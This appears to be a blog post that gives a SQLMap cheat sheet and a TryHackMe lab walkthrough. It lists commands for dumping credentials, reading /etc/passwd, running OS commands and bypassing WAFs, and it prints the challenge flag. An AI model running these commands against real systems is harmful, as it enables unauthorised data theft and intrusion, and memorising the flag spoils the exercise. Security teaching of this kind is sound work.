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https://tryhackme.com/room/sqlmap

July 7, 2026

Exploring SQLMAP

What is SQLMap, and how to use it to exploit a web application?

By Salma Fouad

5 min read

What is SQLMap?

SQLMap is an open-source penetration testing tool that automates the process of finding and exploiting SQL Injection (SQLi) vulnerabilities.

It can:

  • Detect SQL injection vulnerabilities
  • Identify the backend database
  • Enumerate databases, tables, and columns
  • Dump database contents
  • Crack password hashes
  • Read and write files (if privileges allow)
  • Execute operating system commands
  • Gain an interactive shell (under certain conditions)

Basic Syntax

sqlmap -u <URL> [OPTIONS]

Example:

sqlmap -u <http://example.com/item.php?id=1>

Flags & Options

None

Enumeration Flags

None

File & OS Access

None

Authentication

None

Common Injection Techniques

None

Example:

--technique=BEUSTQ

Useful Commands

#Find databases
	sqlmap -u URL --dbs
#List tables
	sqlmap -u URL -D database --tables
#List columns
	sqlmap -u URL -D database -T table --columns
#Dump table
	sqlmap -u URL -D database -T table --dump
#Current DB
	sqlmap -u URL --current-db
#Current user
	sqlmap -u URL --current-user
#Database banner
	sqlmap -u URL --banner
#Execute command
	sqlmap -u URL --os-cmd="whoami"
#SQL shell
	sqlmap -u URL --sql-shell
#Read file
	sqlmap -u URL --file-read=/etc/passwd

Workflow

1. Identify a parameter to test.
        ↓
2. Run SQLMap on the target.
        ↓
3. Confirm SQL Injection.
        ↓
4. Fingerprint the DBMS.
        ↓
5. Enumerate databases.
        ↓
6. Enumerate tables.
        ↓
7. Enumerate columns.
        ↓
8. Dump sensitive data.
        ↓
9. (If allowed) Escalate to file access or OS command execution.

Real-World Command Examples

1. Basic vulnerability detection

sqlmap-u"<http://target.com/product.php?id=5>" --batch --random-agent

What happens?

  • Tests the id parameter for SQL injection.
  • Automatically answers prompts.
  • Uses a random User-Agent to appear less predictable.

2. Enumerate the database structure

sqlmap-u"<http://target.com/product.php?id=5>" --dbs --batch --threads=5

What happens?

  • Identifies injectable parameters.
  • Lists all databases.
  • Uses multiple threads for faster enumeration.
  • Runs non-interactively.

3. Dump credentials from a known table

sqlmap-u"<http://target.com/product.php?id=5>" \
-D shop \
-T users \
-C username,password \
--dump

What happens?

  • Selects the shop database.
  • Targets the users table.
  • Extracts only the username and password columns.
  • Dumps the results to the console and output directory.

4. Test an authenticated POST request through Burp

sqlmap -r login_request.txt --batch --level=5 --risk=3 --proxy=http://127.0.0.1:8080

What happens?

  • Uses a raw request captured from Burp Suite.
  • Tests all injectable POST parameters.
  • Performs more comprehensive testing with higher level and risk.
  • Sends traffic through Burp for inspection.

5. Execute an OS command (when supported)

sqlmap -u "<http://target.com/product.php?id=5>" --os-cmd="whoami" --batch

What happens?

  • Exploits the SQL injection (if possible).
  • Executes the whoami command on the target system.
  • Returns the command output. (This only works when the DBMS and privileges allow OS command execution.)

These examples reflect a typical workflow: detect the injection → enumerate databases → inspect tables and columns → dump data → (if authorized and feasible) attempt post-exploitation features such as file access or OS command execution.

Notes

  • Use r with requests captured from Burp Suite for authenticated or complex requests.
  • --batch is useful for automation and scripting.
  • Increase --level and --risk only if the default scan does not find an injection.
  • Use --tamper scripts to help bypass simple web application firewalls (WAFs).
  • --flush-session can resolve issues caused by cached scan results.
  • Start with simple enumeration (--dbs, --tables, --columns) before attempting actions like dumping data or OS command execution.
  • Always ensure you have explicit authorization before using SQLMap against any target outside of a lab or CTF environment.

SQLMap Challenge Walkthrough

1. Initial Enumeration

As with any web application assessment, I started by scanning the target to identify exposed services.

The Nmap scan revealed that HTTP (port 80) was the only accessible service.

Visiting the web server presented nothing more than the default Nginx welcome page, indicating that the actual application was likely hosted in another directory.

None

2. Discovering Hidden Content

Since the default page provided no functionality to test, I performed directory enumeration using Gobuster.

gobuster dir \
-u http://<machine-ip>/ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,txt,html,js,conf

This revealed an interesting directory:

/blood

which appeared to host the real application.

None

3. Identifying the Injection Point

Browsing to /blood revealed a blood group search form.

The application submits the selected blood group using an HTTP POST request.

Rather than manually recreating every request, I intercepted it using Burp Suite and saved it as a raw HTTP request.

Using the -r option allows SQLMap to replay the exact request—including headers, cookies, and POST data—making it ideal for authenticated or complex requests.

None None

4. Testing for SQL Injection

With the captured request saved as post-request.txt, I instructed SQLMap to analyze it.

sqlmap -r post-request.txt --current-user

SQLMap automatically tested the POST parameter blood_group and successfully identified multiple SQL injection techniques.

The output showed:

  • Time-based Blind SQL Injection
  • UNION-based SQL Injection

It also fingerprinted the backend database as:

  • MySQL
  • Running on Linux
  • Web server: Nginx

SQLMap additionally identified the current database user as:

root@localhost
None

5. Enumerating Databases

Once SQL injection had been confirmed, the next step was to discover the available databases.

sqlmap -r post-request.txt --dbs

SQLMap returned several databases, including the application's database:

blood

along with the default MySQL databases:

  • information_schema
  • mysql
  • performance_schema
  • sys
  • test
None

6. Enumerating Tables

After identifying the target database, I instructed SQLMap to enumerate its tables.

sqlmap -r post-request.txt -D blood --tables

SQLMap discovered three tables:

  • blood_db
  • flag
  • users

The flag table immediately stood out as the likely location of the challenge flag.

None

7. Enumerating Columns

Next, I inspected the structure of the flag table.

sqlmap -r post-request.txt -D blood -T flag --columns

SQLMap identified three columns:

Column Type id int(10) name varchar(30) flag varchar(50)

The flag column clearly contained the information we were looking for.

None

8. Dumping the Flag

Finally, I instructed SQLMap to dump the contents of the flag column.

sqlmap -r post-request.txt -D blood -T flag -C flag --dump

SQLMap extracted the table contents and successfully recovered the challenge flag.

thm{sqlm@p_is_L0ve}
None

Commands Used During the Challenge

None

Key Takeaways

This room demonstrates how SQLMap automates the complete SQL injection workflow. Instead of manually crafting payloads and enumerating the database, SQLMap handled the entire process:

  1. Detect the SQL injection vulnerability.
  2. Fingerprint the backend database.
  3. Enumerate available databases.
  4. Enumerate tables and columns.
  5. Extract the required data.

Although SQLMap greatly simplifies exploitation, understanding the enumeration process is essential. Each step builds upon the previous one, following the same methodology that would be used during a manual SQL injection assessment.